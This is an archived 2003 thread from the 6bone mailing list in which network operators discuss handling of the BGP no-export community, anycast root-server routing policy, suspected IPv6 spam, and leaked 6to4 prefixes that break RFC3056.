   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@mailman.isi.edu
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Hi,

On Mon, Sep 08, 2003 at 08:48:55AM -0400, John Fraizer wrote:
> In the case of opentransit not stripping it so they can "show it" to their
> customers, they don't need to show it to their customers.  If it's an
> anycast prefix thats being used, and their customer tries to go to that
> anycast address, once the traffic makes it onto OT's network - they're
> going to send it to the closest one.  They don't need to leak the
> "no-export" tagged routes to make that work.

It's not that easy.  In the case of downstream BGP customers that do not
have a default-route, you can run into the interesting case of "both
upstreams have the anycast prefix in their table, neither is sending
it to this customer (due to no-export) and thus the prefix is not
visible *at all* by the customer".

ISPs with BGP "full table, please" customers shouldn't suppress prefixes
unless there's really good reason for it.

(Note that I'm not talking about peers, or "partial route" customers, or
whatever else might be around)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nsp-security@enterzone.net Mon Sep  8 06:43:06 2003
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To: Gert Doering <gert@Space.Net>
cc: Alexander Koch <koch@tiscali.net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@mailman.isi.edu
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 /48)
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On Mon, 8 Sep 2003, Gert Doering wrote:

> Hi,
> 
> On Mon, Sep 08, 2003 at 08:48:55AM -0400, John Fraizer wrote:
> > anycast address, once the traffic makes it onto OT's network - they're
> > going to send it to the closest one.  They don't need to leak the
> > "no-export" tagged routes to make that work.
> 
> It's not that easy.  In the case of downstream BGP customers that do not
> have a default-route, you can run into the interesting case of "both
> upstreams have the anycast prefix in their table, neither is sending
> it to this customer (due to no-export) and thus the prefix is not
> visible *at all* by the customer".
> 
> ISPs with BGP "full table, please" customers shouldn't suppress prefixes
> unless there's really good reason for it.
> 
> (Note that I'm not talking about peers, or "partial route" customers, or
> whatever else might be around)
> 

In this case, I would recommend that the ISP do something along the lines
of:

RX the anycast prefix, strip the "no-export" from it, tag it with an
internal community that causes it to be announced ONLY to BGP full-routes
customers TAGGED no-export.

Another "fix" would be to simply have the customer static route for that
prefix.  It's not as nice but, it would make it work.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From koch@tiscali.net Mon Sep  8 07:00:59 2003
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From: Alexander Koch <koch@tiscali.net>
To: John Fraizer <tvo@enterzone.net>
Cc: Gert Doering <gert@Space.Net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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John,

On Mon, 8 September 2003 09:43:01 -0400, John Fraizer wrote:
[..]
> In this case, I would recommend that the ISP do something along the lines
> of:
> 
> RX the anycast prefix, strip the "no-export" from it, tag it with an
> internal community that causes it to be announced ONLY to BGP full-routes
> customers TAGGED no-export.

that's what I do... ;-)

The routes mentioned are routes received at an IX, so only
we see it and all customers receiving a full table. As v6 is
not yet perfect some ppl in the US see it from us, and they
send it further -- just those 'full routes to everyone' ones.

Regards,
Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
IP Engineering, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From pekkas@netcore.fi Mon Sep  8 08:30:26 2003
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Date: Mon, 8 Sep 2003 18:28:21 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: Alexander Koch <koch@tiscali.net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, <6bone@mailman.isi.edu>
Subject: ignoring no-export [Re: [6bone] non-global address space for IXs
 (was: 2001:478:: as /48)]
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On Mon, 8 Sep 2003, John Fraizer wrote:
> On Mon, 8 Sep 2003, Alexander Koch wrote:
> 
> > On Sun, 7 September 2003 15:53:54 +0200, Jeroen Massar wrote:
> > > > OpenTransit does it (and therefore the local replica of
> > > > F.ROOT-SERVERS.NET in HonkKong is announced world-wide).
> > > > You want to sever links with OpenTransit?
> > > 
> > > OpenTransit should be flogged in that case :)
> > 
> > Opentransit has had no community setup yet, so Fabien did
> > not have any other chance than sending full table or nothing.
> > I do not if that has changed by now.
> 
> Ther don't need to set up their own community to honor the "well
> known" community "no-export".  Every compliant BGP implementation honors
> no-export unless you explicitly strip that community from routes on their
> way in.
[...]

Unfortunately, Cisco does not belong to this category.  Yes, they're aware 
of the problem, there's a PR.. and they've given it quite a low priority.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From tvo@EnterZone.Net Mon Sep  8 08:34:17 2003
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To: Pekka Savola <pekkas@netcore.fi>
cc: Alexander Koch <koch@tiscali.net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@mailman.isi.edu
Subject: Re: ignoring no-export [Re: [6bone] non-global address space for
 IXs (was: 2001:478:: as /48)]
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On Mon, 8 Sep 2003, Pekka Savola wrote:

> On Mon, 8 Sep 2003, John Fraizer wrote:
> > known" community "no-export".  Every compliant BGP implementation honors
> > no-export unless you explicitly strip that community from routes on their
> > way in.
> [...]
> 
> Unfortunately, Cisco does not belong to this category.  Yes, they're aware 
> of the problem, there's a PR.. and they've given it quite a low priority.
> 


Um, which train?  No-export works just fine on our Cisco 7513:

Border4>sh ver
Cisco Internetwork Operating System Software
IOS (tm) RSP Software (RSP-PV-M), Version 12.1(8a)E2, EARLY DEPLOYMENT
RELEASE SOFTWARE (fc1)
TAC Support: http://www.cisco.com/tac
Copyright (c) 1986-2001 by cisco Systems, Inc.
Compiled Sat 04-Aug-01 16:18 by hqluong
Image text-base: 0x60010958, data-base: 0x611E4000

ROM: System Bootstrap, Version 12.0(10r)S1, RELEASE SOFTWARE (fc1)
BOOTFLASH: RSP Software (RSP-PV-M), Version 12.1(8a)E2, EARLY DEPLOYMENT
RELEASE SOFTWARE (fc1)

Border4 uptime is 42 weeks, 2 days, 13 hours, 22 minutes
System returned to ROM by processor memory parity error at PC 0x6037EC98,
address 0x0 at 21:09:31 EST Fri Nov 15 2002
System restarted at 21:10:16 EST Fri Nov 15 2002
System image file is "slot0:rsp-pv-mz_121-8a_E2.bin"

cisco RSP8 (R7000) processor with 262144K/8216K bytes of memory.
R7000 CPU at 250Mhz, Implementation 39, Rev 2.1, 256KB L2, 2048KB L3 Cache
Last reset from power-on
G.703/E1 software, Version 1.0.
G.703/JT2 software, Version 1.0.
X.25 software, Version 3.0.0.
Primary Rate ISDN software, Version 1.1.
Chassis Interface.
1 GEIP controller (1 GigabitEthernet).
3 VIP2 controllers (2 FastEthernet)(8 Ethernet)(2 Serial)(8 T1).
7 VIP2 R5K controllers (6 FastEthernet)(3 ATM)(1 POS).
8 Ethernet/IEEE 802.3 interface(s)
8 FastEthernet/IEEE 802.3 interface(s)
1 Gigabit Ethernet/IEEE 802.3 interface(s)
4 Serial network interface(s)
3 ATM network interface(s)
1 Packet over SONET network interface(s)
2043K bytes of non-volatile configuration memory.

20480K bytes of Flash PCMCIA card at slot 0 (Sector size 128K).
16384K bytes of Flash internal SIMM (Sector size 256K).
No slave installed in slot 7.
Configuration register is 0x2
 

--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From pekkas@netcore.fi Mon Sep  8 08:53:52 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: Alexander Koch <koch@tiscali.net>, Jeroen Massar <jeroen@unfix.org>,
   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, <6bone@mailman.isi.edu>
Subject: Re: ignoring no-export [Re: [6bone] non-global address space for
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On Mon, 8 Sep 2003, John Fraizer wrote:
> On Mon, 8 Sep 2003, Pekka Savola wrote:
> 
> > On Mon, 8 Sep 2003, John Fraizer wrote:
> > > known" community "no-export".  Every compliant BGP implementation honors
> > > no-export unless you explicitly strip that community from routes on their
> > > way in.
> > [...]
> > 
> > Unfortunately, Cisco does not belong to this category.  Yes, they're aware 
> > of the problem, there's a PR.. and they've given it quite a low priority.
> 
> Um, which train?  No-export works just fine on our Cisco 7513:

All trains AFAIR.

To be precise, I meant the problems "when you routinely scrub out
communities you receive from peers, no-export is not treated specially and
is removed too", and "you must configure send-community towards the peer,
otherwise your no-export doesn't get there in the first place" (the latter
is probably a smaller problem).

It's honored, when it exists, all right.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From stuart@tech.org Mon Sep  8 14:15:08 2003
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To: Alexander Koch <koch@tiscali.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Mon, 08 Sep 2003 10:53:36 +0200."
             <20030908085336.GA8445@shekinah.ip.tiscali.net> 
Date: Mon, 08 Sep 2003 14:15:00 -0700
From: Stephen Stuart <stuart@tech.org>
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> On Sun, 7 September 2003 15:36:58 -0700, Stephen Stuart wrote:
> > > If they din't honor my no-export communities, you bet
> > > your life I'd sever links with OT.
> > 
> > ISC's policy for satellite f-root route distribution is that no-export
> > may be stripped so that a network peering with a satellite f-root can
> > distribute the route in question to its customers.
> 
> Sure, but I am not allowed to do v6 transit for the NYIIX
> node. It's v6, you know... v6. PAIX and v6 is coming soon
> for us, arguably, but still that policy makes me use the
> PAIX F sent to me by fine HE which we meet in NYIIX and
> Equi6IX in Ashburn...
> 
> Any chances of this being changed?

If you read the page whose URL you elided from your reply:

    http://www.isc.org/peering/#policy

you'll see a sentence in the "Routing Policy" section with the correct
email address for use by "Operators which have a requirement to apply
policy which is different to the no-export behaviour ..." (actual
address left as an exercise for the reader).

Stephen

From koch@tiscali.net Mon Sep  8 14:29:32 2003
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On Mon, 8 September 2003 14:15:00 -0700, Stephen Stuart wrote:
> If you read the page whose URL you elided from your reply:

I read it and discussed it in all detail with Joe, I know
the URL. I was hoping to get a more helpful reply with some
hints in it as to why/any reasoning, etc. Your reply spoke
for itself so let me say sorry for bothering you at all.

Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
IP Engineering, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From stuart@tech.org Mon Sep  8 14:48:43 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Mon, 08 Sep 2003 23:29:24 +0200."
             <20030908212924.GB14894@shekinah.ip.tiscali.net> 
Date: Mon, 08 Sep 2003 14:48:37 -0700
From: Stephen Stuart <stuart@tech.org>
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> On Mon, 8 September 2003 14:15:00 -0700, Stephen Stuart wrote:
> > If you read the page whose URL you elided from your reply:
> 
> I read it and discussed it in all detail with Joe, I know
> the URL. 

It might have been helpful to mention that, so as not to appear that
you didn't bother to read the page.

> I was hoping to get a more helpful reply with some
> hints in it as to why/any reasoning, etc. 

It might have been helpful to mention that, so as not to appear that
you didn't bother to read the page.

> Your reply spoke
> for itself so let me say sorry for bothering you at all.

If you've read the page and have questions, I'm happy to try to answer
them. If you discussed the page in detail with Joe, though, I don't
know that I'd be able to supply much in the way of additional
information. If you'd like to try to ask some specific questions,
though, I'd be happy to try to supply you with specific answers. I'll
leave it up to you whether to continue ccing the list or not.

Stephen

From koch@tiscali.net Mon Sep  8 15:09:17 2003
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On Mon, 8 September 2003 14:48:37 -0700, Stephen Stuart wrote:
> If you've read the page and have questions, I'm happy to try to answer

Ok, why can ppl only do v6 transit (or rather: allowed to
carry it, more or less, as transit is difficult to say as
too many ppl distribute routes in v6 regardless) for the
node in PAIX? After all we are speaking about IPv6, not much
traffic or damage there, I think.

> them. If you discussed the page in detail with Joe, though, I don't
> know that I'd be able to supply much in the way of additional
> information.

He just said no and mentioned some internal discussion. I'm
merely curious as for the reasoning and implications about
the various nodes and what is good or bad. I did not want to
step on other ppl toes though which I seem to have done.
CPU/ query load can't be the issue, it's IPv6 we speak of...

Regards,
Alexander

-- 
Alexander Koch <koch@tiscali.net> / ako4-ripe
IP Engineering, Tiscali International Network
Robert-Bosch-Strasse 32, D-63303 Dreieich, Germany
Phone +49 6103 916 480, Fax +49 6103 916 464

From stuart@tech.org Mon Sep  8 15:25:32 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Tue, 09 Sep 2003 00:09:09 +0200."
             <20030908220909.GB15175@shekinah.ip.tiscali.net> 
Date: Mon, 08 Sep 2003 15:25:25 -0700
From: Stephen Stuart <stuart@tech.org>
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> On Mon, 8 September 2003 14:48:37 -0700, Stephen Stuart wrote:
> > If you've read the page and have questions, I'm happy to try to answer
> 
> Ok, why can ppl only do v6 transit (or rather: allowed to
> carry it, more or less, as transit is difficult to say as
> too many ppl distribute routes in v6 regardless) for the
> node in PAIX? After all we are speaking about IPv6, not much
> traffic or damage there, I think.

My position in the internal discussion has been that we don't
differentiate between IPv4 and IPv6 with respect to policy. While
today it is "just IPv6," treating them differently would leave us with
disparate policy to unify when the time comes that it's not "just
IPv6." My desire is to start clean and keep clean, with one policy and
as few reasons for exceptions as possible.

> > them. If you discussed the page in detail with Joe, though, I don't
> > know that I'd be able to supply much in the way of additional
> > information.
> 
> He just said no and mentioned some internal discussion. I'm
> merely curious as for the reasoning and implications about
> the various nodes and what is good or bad. I did not want to
> step on other ppl toes though which I seem to have done.
> CPU/ query load can't be the issue, it's IPv6 we speak of...

For normal query load, that's certainly the case. When (not if, when)
the IPv6-based attack comes, it is still the case that we want to have
the brunt of the attack borne by the PAO1/SFO2 cluster, with
sinking toward Local Nodes based on the routing policy that we
specify. Dealing with disparate routing policies in that situation
does not represent (to me, at least) the best operational practice
that we can follow.

As you say, people are much less discerning regarding IPv6 transit. To
me, that's a strong argument in favor of the no-export behavior to
increase the chances that I'll get the behavior that I want.

As Joe said, though, the internal discussion is still going on.

Stephen

From Mohsen.Souissi@nic.fr Tue Sep  9 07:57:40 2003
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Date: Tue, 9 Sep 2003 16:57:00 +0200
From: Mohsen Souissi <Mohsen.Souissi@nic.fr>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
Cc: jan.oravec@6com.sk, hostmaster@nic.fr, hostmaster@ep.net, 6bone@ISI.EDU
Subject: Re: [6bone] ::1 PTR DNS record
Message-ID: <20030909165700.C2409@kerkenna.nic.fr>
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On 04 Sep, Jun-ichiro itojun Hagino wrote:
| > Hello,
| > reverse record for ::1 points to localhost.nic.fr, because there is PTR
| > record for ::1 on ns3.nic.fr, which is NS for ip6.int. Please fix.
| 
| 	as long as "localhost.nic.fr. AAAA ::1" is present i don't see problem.
| 	(but it does not exist...)

==> Thanks Jan and Itojun! The AAAA was indeed missing on nic.fr zone file.
Everything must be OK now.

Regards,

Mohsen.

From haesu@mx01.bos.ma.towardex.com Tue Sep  9 10:21:32 2003
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Date: Tue, 9 Sep 2003 13:21:33 -0400
From: Haesu <haesu@towardex.com>
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Subject: [6bone] Merit IRRd vs. IPv6
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Hi,

Is anyone using the Merit's IRRd to support IPv6 based RPSL objects? I know that RIPEdb does and 6bone is currently using it.. I'd like to know if merit's irrd supports ipv6 as well :)

Thanks,
-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

From wmaton@ryouko.imsb.nrc.ca Tue Sep  9 10:41:48 2003
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Date: Tue, 9 Sep 2003 13:41:46 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.imsb.nrc.ca>
Reply-To: wmaton@ryouko.imsb.nrc.ca
To: 6bone@ISI.EDU
Subject: Re: [6bone] Merit IRRd vs. IPv6
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On Tue, 9 Sep 2003, Haesu wrote:

> Is anyone using the Merit's IRRd to support IPv6 based RPSL objects? I
>know that RIPEdb does and 6bone is currently using it.. I'd like to know
>if merit's irrd supports ipv6 as well :)

The OttIX IRR is, but it's a pre-release we obtained from the MERIT folks.
Drop them a note.  So far, seems to work pretty well for us.

wfms

From rmk@arm.linux.org.uk Wed Sep 10 02:06:00 2003
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Date: Wed, 10 Sep 2003 10:05:52 +0100
From: Russell King <rmk@arm.linux.org.uk>
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Subject: [6bone] Spammers already using 6bone ipv6 addresses?
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Hi,

It seems that spammers may have started using IPv6 to spread their wares.
I've recently had SMTP connection attempts to one of my internal machines
(flint.arm.linux.org.uk) from 3ffe:0bc0:8000:0000:8000:0000:d582:a322.

The interesting thing about this is that flint.arm.linux.org.uk has never
been used as the source of email, but does appear in BitKeeper repositories
as the host ID part of someone who commits.  (BitKeeper ids contain an
object which looks a lot like an email address.)

Maybe someone's running an open relay on 6bone ?

I'm also copying the person who seems to be the owner of that IPv6 space.

-- 
Russell King (rmk@arm.linux.org.uk)	http://www.arm.linux.org.uk/personal/
Linux kernel maintainer of:
  2.6 ARM Linux   - http://www.arm.linux.org.uk/
  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
  2.6 Serial core

From daniel@kewlio.net Wed Sep 10 02:55:31 2003
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References: <20030910100552.B17058@flint.arm.linux.org.uk>
Subject: Re: [6bone] Spammers already using 6bone ipv6 addresses?
Date: Wed, 10 Sep 2003 10:45:49 +0100
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I frequently get spammed from people scanning the 6bone registry... not too many over ipv6 though :S


Daniel.

----- Original Message ----- 
From: "Russell King" <rmk@arm.linux.org.uk>
To: <6bone@ISI.EDU>; <arkley@ibcjapan.com>
Sent: Wednesday, September 10, 2003 10:05 AM
Subject: [6bone] Spammers already using 6bone ipv6 addresses?


> Hi,
> 
> It seems that spammers may have started using IPv6 to spread their wares.
> I've recently had SMTP connection attempts to one of my internal machines
> (flint.arm.linux.org.uk) from 3ffe:0bc0:8000:0000:8000:0000:d582:a322.
> 
> The interesting thing about this is that flint.arm.linux.org.uk has never
> been used as the source of email, but does appear in BitKeeper repositories
> as the host ID part of someone who commits.  (BitKeeper ids contain an
> object which looks a lot like an email address.)
> 
> Maybe someone's running an open relay on 6bone ?
> 
> I'm also copying the person who seems to be the owner of that IPv6 space.
> 
> -- 
> Russell King (rmk@arm.linux.org.uk) http://www.arm.linux.org.uk/personal/
> Linux kernel maintainer of:
>   2.6 ARM Linux   - http://www.arm.linux.org.uk/
>   2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
>   2.6 Serial core
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From jeroen@unfix.org Wed Sep 10 03:53:47 2003
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Cc: <ipv6@viagenie.qc.ca>, "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: RE: [6bone] Spammers already using 6bone ipv6 addresses?
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-----BEGIN PGP SIGNED MESSAGE-----

Russell King wrote:

> It seems that spammers may have started using IPv6 to spread their wares.
> I've recently had SMTP connection attempts to one of my internal machines
> (flint.arm.linux.org.uk) from 3ffe:0bc0:8000:0000:8000:0000:d582:a322.

But what did they send to you, was it a valid email or was it spam?
Headers svp ;)

> The interesting thing about this is that flint.arm.linux.org.uk has never
> been used as the source of email, but does appear in BitKeeper repositories
> as the host ID part of someone who commits.  (BitKeeper ids contain an
> object which looks a lot like an email address.)

And in DNS, see host -t aaaa -l arm.linux.org.uk :)
Eeky, 6to4 addresses, why don't you use a TB?
Or is it sufficient for what you use it for?

> Maybe someone's running an open relay on 6bone ?

Most boxes are dual stacked, so if it comes in over IPv4
it could go out over IPv6 ofcourse, check the headers.

> I'm also copying the person who seems to be the owner of that 
> IPv6 space.

You should copy viagenie (CC'd) as everybody can register
random data into the 6bone at the moment. I have sent a
proposal though to start cleaning the mess up in there
even though it's only three years untill it gets shut down...

ipv6-site:    ARKLEY-V6
origin:       AS65535
descr:        Experimenting with IPv6
country:      JP
prefix:       3FFE:BC0:8000::/48

ASN 65535 should not be appearing in there anyways...

I also wonder why somebody apparently from Japan needs
to have a tunnel from Canada while Japan has enough TB's
and even native deployments...

Greets,
 Jeroen

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From jeroen@unfix.org Wed Sep 10 04:43:14 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Daniel Austin'" <daniel@kewlio.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] Spammers already using 6bone ipv6 addresses?
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-----BEGIN PGP SIGNED MESSAGE-----

Daniel Austin wrote:

> I frequently get spammed from people scanning the 6bone 
> registry... not too many over ipv6 though :S

I guess those are the email addresses which are found
on web-whois's

http://www.google.com/search?sourceid=navclient&ie=UTF-8&oe=UTF-8&q=6bone+whois

will reveal quite a lot of those :)

In your case:
http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=off&q=6bone+whois+kewlio

I don't think they have any knowledge about what they spam,
they just merely spam. I would actually not have much problems
if they spammed me with adverts for, say IPv6 books or something
but all the trash they are sending now is totally irrelevant :)
Yes, I do the Airmiles thing so the Dutch Albert Heijn can send
me targetted adverts :)

The SixXS Whois page (http://www.sixxs.net/tools/whois/) generates
pictures in place of the email addresses and uses some trick(tm)
to allow people to still use them normally.

Greets,
 Jeroen

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-----END PGP SIGNATURE-----


From rmk@arm.linux.org.uk Wed Sep 10 04:57:03 2003
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Date: Wed, 10 Sep 2003 12:56:57 +0100
From: Russell King <rmk@arm.linux.org.uk>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU, arkley@ibcjapan.com, ipv6@viagenie.qc.ca,
   "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: [6bone] Spammers already using 6bone ipv6 addresses?
Message-ID: <20030910125657.B27576@flint.arm.linux.org.uk>
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On Wed, Sep 10, 2003 at 12:53:39PM +0200, Jeroen Massar wrote:
> Russell King wrote:
> > It seems that spammers may have started using IPv6 to spread their wares.
> > I've recently had SMTP connection attempts to one of my internal machines
> > (flint.arm.linux.org.uk) from 3ffe:0bc0:8000:0000:8000:0000:d582:a322.
> 
> But what did they send to you, was it a valid email or was it spam?
> Headers svp ;)

I have no idea - flint is firewalled off (since it doesn't accept public
SMTP connections), and I spotted a load of activity from that IPv6 address.
(If it were just one attempt, I'd have ignored it as just some random
noise.)

My purpose for sending this mail isn't to complain about it - its to make
the site admins aware that their MTA might be in use for purposes which
they didn't intend.

> And in DNS, see host -t aaaa -l arm.linux.org.uk :)
> Eeky, 6to4 addresses, why don't you use a TB?
> Or is it sufficient for what you use it for?

I used to be part of the compendium pTLA until the pTLA was disconnected,
so now I'm relegated to using 6to4.  6to4 gives me a stable set of IPv6
addresses (ones which are likely to persist for years) and restores my
IPv6 connectivity.

Note that I don't particularly want to get into the politics of 6bone vs
6to4 stuff.  All I want is stable IPv6 connectivity, and 6to4 seems to
give that to me without relying on the politics of many intermediate
individuals.

> You should copy viagenie (CC'd) as everybody can register
> random data into the 6bone at the moment.

Thanks.

-- 
Russell King (rmk@arm.linux.org.uk)	http://www.arm.linux.org.uk/personal/
Linux kernel maintainer of:
  2.6 ARM Linux   - http://www.arm.linux.org.uk/
  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
  2.6 Serial core

From kim@tac.nyc.ny.us Wed Sep 10 08:56:22 2003
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To: Russell King <rmk@arm.linux.org.uk>
Cc: 6bone@ISI.EDU, arkley@ibcjapan.com
Subject: Re: [6bone] Spammers already using 6bone ipv6 addresses?
In-Reply-To: <20030910100552.B17058@flint.arm.linux.org.uk>
 from Russell King on Wed, 10 Sep 2003 10:05:52 +0100
References: <20030910100552.B17058@flint.arm.linux.org.uk>
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I frequently see MAILER-DAEMON mail trying to come back to my internal
systems, using Message-ID's as the recipient address.

In other words, someone is sending out spam/viruses using Message-ID's
from harvested messages.  Then some systems send back "helpful" virus
alerts to the sender, or just regular bounces.

If the system is IPv6 enabled, and the DNS entry has an AAAA, then
delivery for the bounces will be attempted over IPv6 first.

So not necessarily a spammer or even a virus infected machine.

Cheers,
+ Kim


| From:    Russell King <rmk@arm.linux.org.uk>
| Date:    Wed, 10 Sep 2003 10:05:52 +0100
|
| Hi,
|
| It seems that spammers may have started using IPv6 to spread their wares.
| I've recently had SMTP connection attempts to one of my internal machines
| (flint.arm.linux.org.uk) from 3ffe:0bc0:8000:0000:8000:0000:d582:a322.
|
| The interesting thing about this is that flint.arm.linux.org.uk has never
| been used as the source of email, but does appear in BitKeeper repositories
| as the host ID part of someone who commits.  (BitKeeper ids contain an
| object which looks a lot like an email address.)
|
| Maybe someone's running an open relay on 6bone ?
|
| I'm also copying the person who seems to be the owner of that IPv6 space.
|
| --
| Russell King (rmk@arm.linux.org.uk)	http://www.arm.linux.org.uk/personal/
| Linux kernel maintainer of:
|   2.6 ARM Linux   - http://www.arm.linux.org.uk/
|   2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
|   2.6 Serial core
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From jeroen@unfix.org Fri Sep 12 04:57:21 2003
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Subject: [6bone] Awareness of breaking RFC3056 with 6to4 more specifics
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-----BEGIN PGP SIGNED MESSAGE-----

Hi,

Are the ones in the To line aware that you are breaking RFC3056
by announcing 6to4 more specifics?

RFC3056 Section 5.2 point 3:
8<------------
   6to4 prefixes more specific than 2002::/16 must not be propagated in
   native IPv6 routing, to prevent pollution of the IPv6 routing table
   by elements of the IPv4 routing table.  Therefore, a 6to4 site which
   also has a native IPv6 connection MUST NOT advertise its 2002::/48
   routing prefix on that connection, and all native IPv6 network
   operators MUST filter out and discard any 2002:: routing prefix
   advertisements longer than /16.
- ------------>8

Currently you are announcing, to the rest of the world:
http://www.sixxs.net/tools/grh/lg/?find=2002::/16

2002:8c6d:106::/48	8447 1853 786 5623 6939 11537 9264
2002:8c6d:106::/48	12779 3549 6939 11537 9264
2002:8c6d:106::/48	6939 11537 9264
2002:c058:6301::/48	8447 1853 786
2002:c0e7:d405::/48	8447 1853 6680 1103 11537 7570
2002:c0e7:d405::/48	1103 11537 7570
2002:c0e7:d405::/48	12779 3549 6939 11537 7570
2002:c0e7:d405::/48	6939 11537 7570
2002:c8a2::/33		8447 1853 6680 1103 11537 6939 6939 15180
2002:c8a2::/33		12337 12337 12337 6939 6939 15180
2002:c8a2::/33		1103 11537 6939 6939 15180
2002:c8a2::/33		12779 3549 6939 6939 15180
2002:c8a2::/33		6939 6939 15180
2002:c8c6:4000::/34	8447 1853 6680 1103 11537 6939 6939 15180
2002:c8c6:4000::/34	12337 12337 12337 6939 6939 15180
2002:c8c6:4000::/34	1103 11537 6939 6939 15180
2002:c8c6:4000::/34	12779 3549 6939 6939 15180
2002:c8c6:4000::/34	6939 6939 15180
2002:c8ca:7000::/36	8447 1853 6680 1103 11537 6939 6939 15180
2002:c8ca:7000::/36	1103 11537 6939 6939 15180
2002:c8ca:7000::/36	12779 3549 6939 6939 15180
2002:c8ca:7000::/36	6939 6939 15180

Summing them up:

2002:8c6d:106::/48	140.109.1.6/32	AS9264
2002:c058:6301::/48	192.88.99.1/32	AS786
2002:c0e7:d405::/48	192.231.212.5/32	AS7570
2002:c8a2::/33		200.162.0.0/17	AS15180
2002:c8c6:4000::/34	200.198.64.0/18	AS15180
2002:c8ca:7000::/36	200.202.112.0/20	AS15180

NOTEZ BIEN:
% Not assigned. Free in Brazilian block: 200.198.64.0/18

Is LACNIC the RIR or is NIC.BR the one? Seeing that a
complete IPv4 /9 has been carved up to them and LACNIC
doesn't handle anything else?

192.88.99.1/32 is *THE* anycast address, it is *NOT* routable....
And you don't own it either, please read RFC3068 and stop that
foolish announcement. In whois.ripe.net this network is documented:

route:        192.88.99.0/24
descr:        RFC3068-ECIX
origin:       AS9033
mnt-by:       ECIX-MNT
mnt-routes:   RFC3068-MNT
changed:      czmok@gatel.de 20030711
source:       RIPE
remarks:      See RFC 3068
remarks:      "An Anycast Prefix for 6to4 Relay Routers"
remarks:      Christian Huitema
remarks:      June 2001

Feel free to notify your "upstreams" that they should be
filtering anything more specific in 2002::/16 and should
probably not be announcing cross-RIR prefixes unaggregated.

Please  read:
IPv6 Filter Recommendations by Gert Döring
 http://www.space.net/~gert/RIPE/ipv6-filters.html
Minimal IPv6 Peering by Robert Kießling 
 http://ip6.de.easynet.net/ipv6-minimum-peering.txt

Greets,
 Jeroen

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From jeroen@unfix.org Fri Sep 12 07:22:29 2003
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To: "'Duncan Rogerson'" <d.rogerson@ukerna.ac.uk>
Cc: <6bone@mailman.isi.edu>, <users@ipv6.org>, <v6ops@ops.ietf.org>
Subject: RE: [6bone] Awareness of breaking RFC3056 with 6to4 more specifics
Date: Fri, 12 Sep 2003 16:22:23 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Duncan Rogerson [mailto:d.rogerson@ukerna.ac.uk] wrote:

> Jeroen,
> 
> > Are the ones in the To line aware that you are breaking RFC3056
> > by announcing 6to4 more specifics?
> 
> Thanks for bringing this to our (AS786) attention.  We are 
> aware of the RFCs, however were not aware this route was leaking.
> Hopefully it is fixed now.

It is indeed gone out of the tables collected by GRT.
So is another anomaly I reported in private to which
was carrying a private ASN in it's ASPath. And so
is the one carried from ACO.Net.

Thank you all for the quick responses and fixes.

Only 5 prefixes to go sourced from 3 ASN's.

> (btw, I don't know if it was intended, or if it was a 
